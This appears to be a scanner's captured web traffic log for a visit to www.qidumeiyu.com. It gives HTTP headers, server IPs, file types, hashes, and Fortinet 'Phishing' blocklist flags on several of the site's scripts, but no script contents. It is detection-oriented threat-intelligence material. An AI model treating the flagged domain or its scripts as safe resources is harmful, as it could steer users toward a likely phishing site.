Sec-Fetch-Dest: websocket
Sec-Fetch-Mode: websocket
Sec-Fetch-Site: cross-site
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket

                                        
                                             34.216.229.28
HTTP/1.1 101 Switching Protocols
                                            
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 6f8x51R2rdPdwznYc75/BzoPdKk=

                                        
                                            GET /template_files/2/hdui/app/css/bootstrap.min.css HTTP/1.1 
Host: www.qidumeiyu.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin

                                        
                                             50.2.85.76
HTTP/1.1 200 OK
Content-Type: text/css;charset=utf-8
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:18 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.4.41
Content-Encoding: gzip


--- Additional Info ---
Magic:  DOS executable (COM)\012- , Unicode text, UTF-8 text, with very long lines (65368)
Size:   23918
Md5:    081d820b53ab633f949c960aeefcd428
Sha1:   dc26a2fe2771177aeaa350b92684a37d1befdad7
Sha256: 6a04d753014d90dd53184352e42ce55ec3f3bb0a28e5f0918b6dc6ffa23b317e
                                        
                                            GET /template_files/2/hdimg/bas/css/swiper_min.css HTTP/1.1 
Host: www.qidumeiyu.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin

                                        
                                             50.2.85.76
HTTP/1.1 200 OK
Content-Type: text/css;charset=utf-8
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:18 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.4.41
Content-Encoding: gzip


--- Additional Info ---
Magic:  Unicode text, UTF-8 (with BOM) text, with very long lines (19512)
Size:   3498
Md5:    6333ce32196dbd0fdd5ff815bad3cf01
Sha1:   f1ab16d809dcd9e348aadd9b16e8c7e8b4361b77
Sha256: 811ee1609fc85c63e2d395255fecc252d3a9f9998508527b8e2858cf8a4256cb
                                        
                                            GET /_sitegray/_sitegray.js HTTP/1.1 
Host: www.qidumeiyu.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin

                                        
                                             50.2.85.76
HTTP/1.1 200 OK
Content-Type: application/javascript;charset=utf-8
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:18 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.4.41
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text
Size:   98
Md5:    a376d309afacc17fc6ec22935cc1e958
Sha1:   612062f672fee038b568702cf5535bcc031c568d
Sha256: bea51bdbce54ba8a0aae154d28b8aa9bc171258fb1b98662668a3953e552d9c1

Blocklists:
  - fortinet: Phishing
                                        
                                            GET /index.vsb.css HTTP/1.1 
Host: www.qidumeiyu.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin

                                        
                                             50.2.85.76
HTTP/1.1 200 OK
Content-Type: text/css;charset=utf-8
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:18 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.4.41
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text
Size:   90
Md5:    8a44e9b7e6875440656baa2bfdb2c945
Sha1:   ec1f6cb4c2d33f978912dfe4d30592735b59535b
Sha256: 2555c7e6ddc66b31c9415737ed426eecb4ac5e97911569e4441642dead7277b1
                                        
                                            GET /template_files/2/hdimg/bas/js/dynclicks.js HTTP/1.1 
Host: www.qidumeiyu.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin

                                        
                                             50.2.85.76
HTTP/1.1 200 OK
Content-Type: application/javascript;charset=utf-8
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:18 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.4.41
Content-Encoding: gzip


--- Additional Info ---
Magic:  Unicode text, UTF-8 text
Size:   1105
Md5:    29ac9d868254f0118390b3980be1763d
Sha1:   55d6aa6d5d22a6f68eff8c5f98abebe4626fc48a
Sha256: 31f92a87a1a4187b89249f507719b89f88d6301b24210a3634dc7e94ea3a6f85

Blocklists:
  - fortinet: Phishing
                                        
                                            GET /system/resource/js/counter.js HTTP/1.1 
Host: www.qidumeiyu.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin

                                        
                                             50.2.85.76
HTTP/1.1 200 OK
Content-Type: application/javascript;charset=utf-8
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:18 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.4.41
Content-Encoding: gzip


--- Additional Info ---
Magic:  Unicode text, UTF-8 (with BOM) text, with very long lines (831)
Size:   754
Md5:    e54e27a21f25d9c25af37f93c94b6430
Sha1:   76418ce8042ec52c73c7bf7d2071fcaef11a5e15
Sha256: 1a3076bce0bf195cab6168fce2c4c8153dbb76177d3f49017a717f2d8094a6ff

Blocklists:
  - fortinet: Phishing
                                        
                                            GET /_sitegray/_sitegray_d.css HTTP/1.1 
Host: www.qidumeiyu.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin

                                        
                                             50.2.85.76
HTTP/1.1 200 OK
Content-Type: text/css;charset=utf-8
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:18 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.4.41
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text, with no line terminators
Size:   40
Md5:    cb2b33a5575d38237dba313af5ac3092
Sha1:   6e5716b27a4554091963aa34f5433b8ed01a9e4a
Sha256: a02d3811e026b580db29333b7d91849abcffe86635092557cd4bfc5b21d6b219
                                        
                                            GET /template_files/2/hdimg/bas/css/hdcss.css HTTP/1.1 
Host: www.qidumeiyu.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin

                                        
                                             50.2.85.76
HTTP/1.1 200 OK
Content-Type: text/css;charset=utf-8
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:18 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.4.41
Content-Encoding: gzip


--- Additional Info ---
Magic:  Unicode text, UTF-8 text, with very long lines (502)
Size:   7526
Md5:    577a227b1e965a39814c25ef9e1da609
Sha1:   57ac4f59c36b7ca8d4e6e9354df3c60692f4c000
Sha256: 3a4394395fc656592bcce1c03af23ef04c8658f71150d07f6028b856f22126b3
                                        
                                            GET /jquery.bc.min.js HTTP/1.1 
Host: www.qidumeiyu.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin

                                        
                                             50.2.85.76
HTTP/1.1 200 OK
Content-Type: application/javascript
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:18 GMT
Last-Modified: Thu, 26 May 2022 02:48:28 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
ETag: W/"628eea7c-ad4"
Expires: Thu, 23 Mar 2023 05:07:18 GMT
Cache-Control: max-age=3600
Content-Encoding: gzip


--- Additional Info ---
Magic:  HTML document text\012- HTML document, ASCII text, with very long lines (1784), with CRLF line terminators
Size:   1275
Md5:    1612eb1712d51d6e8440a152b315d232
Sha1:   10846d191627164438707e32a7c73f62d5bde5e6
Sha256: 7fbdb6256e0fef4d4e961e2308472a11764dcf9cea38fb6d3b419350733d53c2

Blocklists:
  - fortinet: Phishing
                                        
                                            GET /system/resource/js/openlink.js HTTP/1.1 
Host: www.qidumeiyu.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin

                                        
                                             50.2.85.76
HTTP/1.1 200 OK
Content-Type: application/javascript;charset=utf-8
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:19 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.4.41
Content-Encoding: gzip


--- Additional Info ---
Magic:  Unicode text, UTF-8 (with BOM) text
Size:   292
Md5:    2cbf7093f993a5733d3c097b8cdc293a
Sha1:   5089015c30a1d8b6973023bf1223f61a99fed46e
Sha256: 726ec4346aee2f86dd958c43619d82e108aaf07b1876db9bf18da9bdc715539b

Blocklists:
  - fortinet: Phishing
                                        
                                            GET /system/resource/js/dynclicks.js HTTP/1.1 
Host: www.qidumeiyu.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin

                                        
                                             50.2.85.76
HTTP/1.1 200 OK
Content-Type: application/javascript;charset=utf-8
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:19 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.4.41
Content-Encoding: gzip


--- Additional Info ---
Magic:  Unicode text, UTF-8 (with BOM) text
Size:   1112
Md5:    9442c4c190c9cdfe1017f0372c0be305
Sha1:   f9286c77ceaef09d0f2329e2619fbd83027ab61e
Sha256: 53cc9c79d3b9ab116e168e56eed1c7cdc978fa5e9fa44d33aa28ba6ca839f1b2

Blocklists:
  - fortinet: Phishing
                                        
                                            GET /template_files/2//hdui/app/js/b.min.js HTTP/1.1 
Host: www.qidumeiyu.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin

                                        
                                             50.2.85.76
HTTP/1.1 200 OK
Content-Type: application/javascript;charset=utf-8
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:19 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.4.41
Content-Encoding: gzip


--- Additional Info ---
Magic:  Unicode text, UTF-8 (with BOM) text, with very long lines (32033)
Size:   11307
Md5:    ef02fafe55ac498222e243de3eb90c5e
Sha1:   aaa04b3a88dd8e36ba6314517a8e1a8eaec62c2c
Sha256: 8b7cd6ac936a7dd965ce945259e9ecd844703a4f2d696994223d15e27bfb3c64

Blocklists:
  - fortinet: Phishing
                                        
                                            GET /system/resource/js/ajax.js HTTP/1.1 
Host: www.qidumeiyu.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin

                                        
                                             50.2.85.76
HTTP/1.1 200 OK
Content-Type: application/javascript;charset=utf-8
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:19 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.4.41
Content-Encoding: gzip


--- Additional Info ---
Magic:  Unicode text, UTF-8 (with BOM) text
Size:   2298
Md5:    6faff064ccb5dcbc60f09268063f61b2
Sha1:   64773e937c9a44998dae6682512fba46856c8190
Sha256: 69f41fafc01a0b409645bf08d3d0a19a4a953d4dab2adb8716ae1c69d2713fae

Blocklists:
  - fortinet: Phishing
                                        
                                            GET /template_files/2/hdui/app/js/j.min.js HTTP/1.1 
Host: www.qidumeiyu.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.qidumeiyu.com/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin

                                        
                                             50.2.85.76
HTTP/1.1 200 OK
Content-Type: application/javascript;charset=utf-8
                                            
Server: nginx
Date: Thu, 23 Mar 2023 04:07:19 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.4.41
Content-Encoding: gzip


--- Additional Info ---
Magic:  Unicode text, UTF-8 (with BOM) text, with very long lines (32065)
Size:   33613
Md5:    f1820c599b2a7b1b307c4b1f95b0b997
Sha1:   67a853ff49b2979f728442ddc819cfc24843a74a
Sha256: ef95b8fc22fb1376b1f8236bf793aff8bfae8460a460667187636a0239752b34

Blocklists:
  - fortinet: Phishing
                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                        
                                             23.36.76.226
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                            
Server: nginx
Content-Length: 503
ETag: "C8FF32C6809A506D4C656D3200DBFC6682C156C3DE0647D13AB8F07A6F9A38BA"
Last-Modified: Tue, 21 Mar 2023 15:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=6559
Expires: Thu, 23 Mar 2023 05:56:38 GMT
Date: Thu, 23 Mar 2023 04:07:19 GMT
Connection: keep-alive

                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                        
                                             23.36.76.226
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                            
Server: nginx
Content-Length: 503
ETag: "C8FF32C6809A506D4C656D3200DBFC6682C156C3DE0647D13AB8F07A6F9A38BA"
Last-Modified: Tue, 21 Mar 2023 15:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=6559
Expires: Thu, 23 Mar 2023 05:56:38 GMT
Date: Thu, 23 Mar 2023 04:07:19 GMT
Connection: keep-alive

                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                        
                                             23.36.76.226
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                            
Server: nginx
Content-Length: 503
ETag: "C8FF32C6809A506D4C656D3200DBFC6682C156C3DE0647D13AB8F07A6F9A38BA"
Last-Modified: Tue, 21 Mar 2023 15:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=6559
Expires: Thu, 23 Mar 2023 05:56:38 GMT
Date: Thu, 23 Mar 2023 04:07:19 GMT
Connection: keep-alive

                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                        
                                             23.36.76.226
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                            
Server: nginx
Content-Length: 503
ETag: "C8FF32C6809A506D4C656D3200DBFC6682C156C3DE0647D13AB8F07A6F9A38BA"
Last-Modified: Tue, 21 Mar 2023 15:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=6559
Expires: Thu, 23 Mar 2023 05:56:38 GMT
Date: Thu, 23 Mar 2023 04:07:19 GMT
Connection: keep-alive

                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2Ffed036ca-a43b-426f-a0f3-fb8f2e221171.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                        
                                             34.120.237.76
HTTP/2 200 OK
content-type: image/jpeg
                                            
server: nginx
content-length: 6430
x-amzn-requestid: abbe5dc0-5218-46ef-b264-30aa5d0a87b3
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: BzanbGRCIAMF96g=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-64113e2f-3c198b4a31aaa8f263ec8db5;Sampled=0
x-amzn-remapped-date: Wed, 15 Mar 2023 03:40:31 GMT
x-amz-cf-pop: SEA19-C3
x-cache: Hit from cloudfront
x-amz-cf-id: WxDQn6RNw2UUL4QLlZA13MahPDBJokKWw298G97UFmp_HT5DfYrJ8Q==
via: 1.1 0c96ded7ff282d2dbcf47c918b6bb500.cloudfront.net (CloudFront), 1.1 bb763d35677c62f9f5d9728bba884662.cloudfront.net (CloudFront), 1.1 google
date: Wed, 22 Mar 2023 11:36:44 GMT
age: 59435
etag: "4860b7e75775fe187a9253a4d38222e36552f529"
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   6430
Md5:    27bd1bd539c3711ff340f243098cab93
Sha1:   4860b7e75775fe187a9253a4d38222e36552f529
Sha256: 34278c150d0686e999228226d0d92e3e7ed1116978ab94fd21b3047c44a69972
                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2F93c300c4-e707-428c-9ae5-d4699c20a7ef.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                        
                                             34.120.237.76
HTTP/2 200 OK
content-type: image/jpeg
                                            
server: nginx
content-length: 5950
x-amzn-requestid: ce85112e-428d-4ca1-9dac-1d6c8c6dc74a
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: CKyF9EI3oAMFtyQ=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-641a96f2-05c5948d6f74948b1c67d68c;Sampled=0
x-amzn-remapped-date: Wed, 22 Mar 2023 05:49:38 GMT
x-amz-cf-pop: HIO52-P1, SEA19-C1
x-cache: Hit from cloudfront
x-amz-cf-id: lnMR6Lh4T37cFhMwb1qXIxjoPBghVFOGUz7HTt65DegMaxlElZxfjQ==
via: 1.1 59456abf79b201034ab5c9cfef7355e2.cloudfront.net (CloudFront), 1.1 599f04a365a179d553682d476509c388.cloudfront.net (CloudFront), 1.1 google
date: Wed, 22 Mar 2023 21:43:32 GMT
age: 56796
etag: "0917d2c376f8d2af2a436a33ce2bfe1cbdb8b239"
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   5950
Md5:    800c2662fd6ab8829a02b7d63084c38d
Sha1:   0917d2c376f8d2af2a436a33ce2bfe1cbdb8b239
Sha256: 76545e9f75dc558fdb7b54550934c7775318fb4150a9309f60e65d982d2e576e
                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2Fea5d4e17-e42c-49fb-a54b-d7d97ad50ba4.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                        
                                             34.120.237.76
HTTP/2 200 OK
content-type: image/jpeg
                                            
server: nginx
content-length: 7083
x-amzn-requestid: 352ae6e5-476d-430b-adf0-84d4a739967b
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: B6fGcE1foAMFbRQ=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-64141228-7dc6c3cb72cd40965006ab76;Sampled=0
x-amzn-remapped-date: Fri, 17 Mar 2023 07:09:28 GMT
x-amz-cf-pop: SEA19-C3
x-cache: Hit from cloudfront
x-amz-cf-id: bgeeN4oUpN5wPo6UnQKqKTGDiuLWu-ioS9UtrO5a6m5SI7WyiRNLcA==
via: 1.1 4dde8ec6d6c12741888c2d3a059d4a2e.cloudfront.net (CloudFront), 1.1 6bdc2963c9ed59b475ec36c35e5932a4.cloudfront.net (CloudFront), 1.1 google
date: Wed, 22 Mar 2023 10:04:25 GMT
age: 64974
etag: "76213c7d5c759471ed3823888860f918ac7e8f13"
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   7083
Md5:    40d24dfcd9f0afe0e4077384f16cc494
Sha1:   76213c7d5c759471ed3823888860f918ac7e8f13
Sha256: fbbbef0498ddf14bc9b204273a3cd416c357dceed20339c3e8c64a16b0be3caf
                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2F340c6dd8-fc2f-45fc-9318-44a28c249325.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                        
                                             34.120.237.76
HTTP/2 200 OK
content-type: image/jpeg
                                            
server: nginx
content-length: 9687
x-amzn-requestid: b7c8cd8c-6103-4aa4-9016-f02cf368908d
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: CM8JGHyEoAMFzJw=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-641b73d3-2fb1fd1b5be3289047f8aed4;Sampled=0
x-amzn-remapped-date: Wed, 22 Mar 2023 21:32:03 GMT
x-amz-cf-pop: HIO52-P1, SEA19-C1
x-cache: Miss from cloudfront
x-amz-cf-id: LJr_FUB0Pp-5jqhn6kXCUxPYlRZCXlZtzEx8aYqeKhkl8Hhx5Ef9ZQ==
via: 1.1 773bf3616e85ce2b187fa78710a6beb2.cloudfront.net (CloudFront), 1.1 4c48e9fb20d53d40e9fe273dbdae1098.cloudfront.net (CloudFront), 1.1 google
date: Wed, 22 Mar 2023 21:43:22 GMT
etag: "d81a4852f956999fa28a5f667ed73506843d0731"
age: 23037
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   9687
Md5:    6de676f6856031e5c1baebe9166a8269
Sha1:   d81a4852f956999fa28a5f667ed73506843d0731
Sha256: 71f282ba594e454a2abf1c3700ade4d9461d6d48ac2726f746f3da5a63e29c38
                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2F00ac1765-db6c-42e3-99bf-d857d27a34b9.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                        
                                             34.120.237.76
HTTP/2 200 OK
content-type: image/jpeg
                                            
server: nginx
content-length: 5556
x-amzn-requestid: dd5a8417-ddd5-469d-aa84-e880f4b84464
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: CHqKFGRsoAMFTGQ=
